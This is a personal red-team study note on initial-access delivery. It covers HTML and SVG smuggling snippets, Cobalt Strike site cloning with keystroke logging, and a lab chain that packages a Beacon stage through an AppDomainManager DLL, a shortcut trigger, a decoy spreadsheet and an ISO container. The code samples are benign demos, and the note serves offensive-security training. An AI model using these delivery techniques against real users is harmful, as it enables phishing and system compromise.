                    bytes[i] = binary_string.charCodeAt(i);
                }
                return bytes.buffer;
            }

            function downloadFile() {
                const file = 'VGhpcyBpcyBhIHNtdWdnbGVkIGZpbGU=';
                const fileName = 'test.txt';
                let data = convertFromBase64(file);
                let blob = new Blob([data], {type: 'octet/stream'});
                if (window.navigator.msSaveOrOpenBlob) {
                    window.navigator.msSaveBlob(blob,fileName);
                }
                else {
                    const a = document.createElement('a');
                    document.body.appendChild(a);
                    a.style = 'display: none';
                    const url = window.URL.createObjectURL(blob);
                    a.href = url;
                    a.download = fileName;
                    a.click();
                    window.URL.revokeObjectURL(url);
                }
            }
        </script>
    </body>
</html>

Additional encryption or JavaScript obfuscation may change how content appears to scanners, but it also creates detectable decoding behavior and should be treated as an authorized lab experiment rather than a guarantee of evasion.

SVG smuggling

The next delivery method that we have is called SVG smuggling

SVG can contain script elements, but whether script executes depends on how the SVG is loaded, the browser, origin, content security policy, and whether it is treated as an image or a document.

just like HTML smuggling

<svg width="100" height="100" xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="40" stroke="black" stroke-width="4" fill="none" />
<script>
    alert('Hello World');
</script>
Sorry, your browser does not support inline SVG.
</svg> 

Website cloning and hosted payloads

Cobalt Strike's Host File function serves a selected file. Clone Site hosts a copy of a chosen page and can reference a hosted resource. The page may request subresources while it loads; a request does not guarantee that an executable downloads or runs. Browser policy, response headers, file type, user interaction, and endpoint controls affect the result.

A browser makes network requests as it loads page elements. An iframe, script, image, or other subresource can cause a request without a separate click. Whether the response is displayed, saved, or executed depends on browser behavior and the content type.

Website-cloning model separating the visible cloned page from the hosted payload link.
Fig. 40. Website-cloning model separating the visible cloned page from the hosted payload link.

The next figures distinguish the hosted file from the cloned page that references it:

Cobalt Strike hosted-file configuration showing the payload file, local URI, and serving host.
Fig. 41. Cobalt Strike hosted-file configuration showing the payload file, local URI, and serving host.
Cobalt Strike site-cloning dialog used to configure the cloned page.
Fig. 42. Cobalt Strike site-cloning dialog used to configure the cloned page.

The course interface used these fields:

  • Clone URL: source page copied for the lab.
  • Local URI: path where the cloned page is served.
  • Local Host and Port: address of the team-server web service.
  • Attack: a previously hosted resource that the page references.
  • Log keystrokes: records page keypresses in the team-server web log; it is relevant to pages containing forms and creates sensitive collection.

The lab screenshot compares the source page with the page hosted by the team server:

Comparison of the original download-page URL and the cloned page used in the lab.
Fig. 43. Comparison of the original download-page URL and the cloned page used in the lab.

Fact-check status

The following concepts were checked against Microsoft or MITRE documentation:

  • Windows DLL search order and the conditions that make search-order hijacking possible.
  • The .NET Framework AppDomainManager role, configuration, and privilege boundary.
  • Windows Installer custom actions and the fact that execution context depends on how the action and installation are authored.
  • Mark of the Web, Office macro blocking, Protected View, and trusted-location behavior.
  • HTML smuggling as browser-side reconstruction rather than a guaranteed security-control bypass.

The following remain lab- or tool-version-dependent and should be verified in the CRTO environment before being treated as general rules:

  • The specific WinSxS executable and DLL-side-loading example.
  • The exact behavior of GadgetToJScript, its -b option, and the generated output.
  • Cobalt Strike Site Management, website-clone, MSC, and listener behavior.
  • The exact startup behavior of Excel add-ins under a particular Office build and policy.
  • Whether a given browser automatically downloads, prompts for, or blocks a resource.

Review prompts

  • Can I explain the difference between delivery, container, trigger, payload, and decoy?
  • Why would an operator use a multi-stage chain, and what extra evidence would that create for a defender?
  • What conditions must be present for DLL side-loading to work?
  • What is AppDomainManager changing in the .NET loading process?
  • What is the difference between a dropper, a trigger, and a payload?
  • How do batch, LNK, MSC, and document-based triggers differ in execution context and user visibility?
  • What does Mark of the Web represent, and how can container choice affect the user experience and security controls?
  • How does HTML smuggling differ from a normal file download?
  • What should be validated before using any delivery method in an authorized lab?

Guided lab synthesis: AppDomainManager initial access

Scope and OPSEC This is a record of the course lab, not a default exam path. Confirm the live objective and ROE before any target-side execution. The example creates a process, writes into its memory, opens a document, and produces network traffic. A successful callback alone does not establish a clean OPSEC result.

What each lab artifact did

Artifact or stage Role in the taxonomy Why it was present
Raw Beacon stage, embedded in AppDomainHijack.dll Payload content The managed DLL held the stage as an embedded resource.
Copied ngentask.exe Compatible .NET Framework host It gave the runtime an application in which to initialize the configured manager. The missing-DLL search-order example was a separate demonstration.
AppDomainHijack.dll and manager configuration Loader and execution path The runtime selected the manager; its code started a suspended process and overwrote its entry point.
deals.xlsx.lnk Trigger The user-facing shortcut opened the spreadsheet and started the application path.
deals.xlsx Decoy It matched the spreadsheet pretext.
deals.iso Container It bundled the trigger and dependencies; the lab tested how the package appeared when mounted.
Hosted file and cloned page Delivery The hosted package was offered from the lab page. Download and execution were separate events.

Evidence checkpoints from the guided exercise

  1. Build context: the example used a .NET Framework class library and a raw stage embedded as a resource. The chosen project type mattered because the host used .NET Framework.
  2. Loader test: the copied host initialized the custom manager under the lab configuration. A callback in the expected process was the intended result; a callback alone would not prove the side-loading claim or the user-facing experience.
  3. Package test: the mounted container exposed the intended trigger, and the shortcut opened the spreadsheet while starting the payload path. Whether hidden attributes or MOTW behaved the same way elsewhere is environment-dependent.
  4. Delivery test: the course hosted the container, cloned a page, and opened it from the workstation. Record download, prompt, user action, process tree, and callback as distinct observations.
  5. Closeout: remove the hosted lab resource and created artifacts, then confirm the original state. Do not carry lab hostnames, paths, or callback assumptions into an exam attempt.

When to revisit this lab: use it to explain packaging and execution boundaries, or to compare an initial-access objective with an assumed-breach foothold. For the exam's stated assumed-breach start, first inspect the provided machine's execution policy and allowed delivery route rather than assuming this phishing chain is required. See the command cheat sheet for the decision gate and the detailed reference for course syntax already recorded.

Recall checks

  • Which lab file was the decoy, and which component actually initiated the Beacon behavior?
  • Why did the AppDomainManager lab need a compatible .NET Framework host? What would a missing-DLL event prove by itself?
  • What exactly did the lab's process code overwrite, and why is that more precise than calling it full process hollowing?
  • What separate evidence would show download, user interaction, process execution, and callback?

This is a living study note. Sources and understanding may change as it is reviewed.

Ryan Sacatani

Simply curious about the world, constantly building and breaking things for fun.

sacataniryan1@gmail.com ↗

BrowseBrowse topics

Browse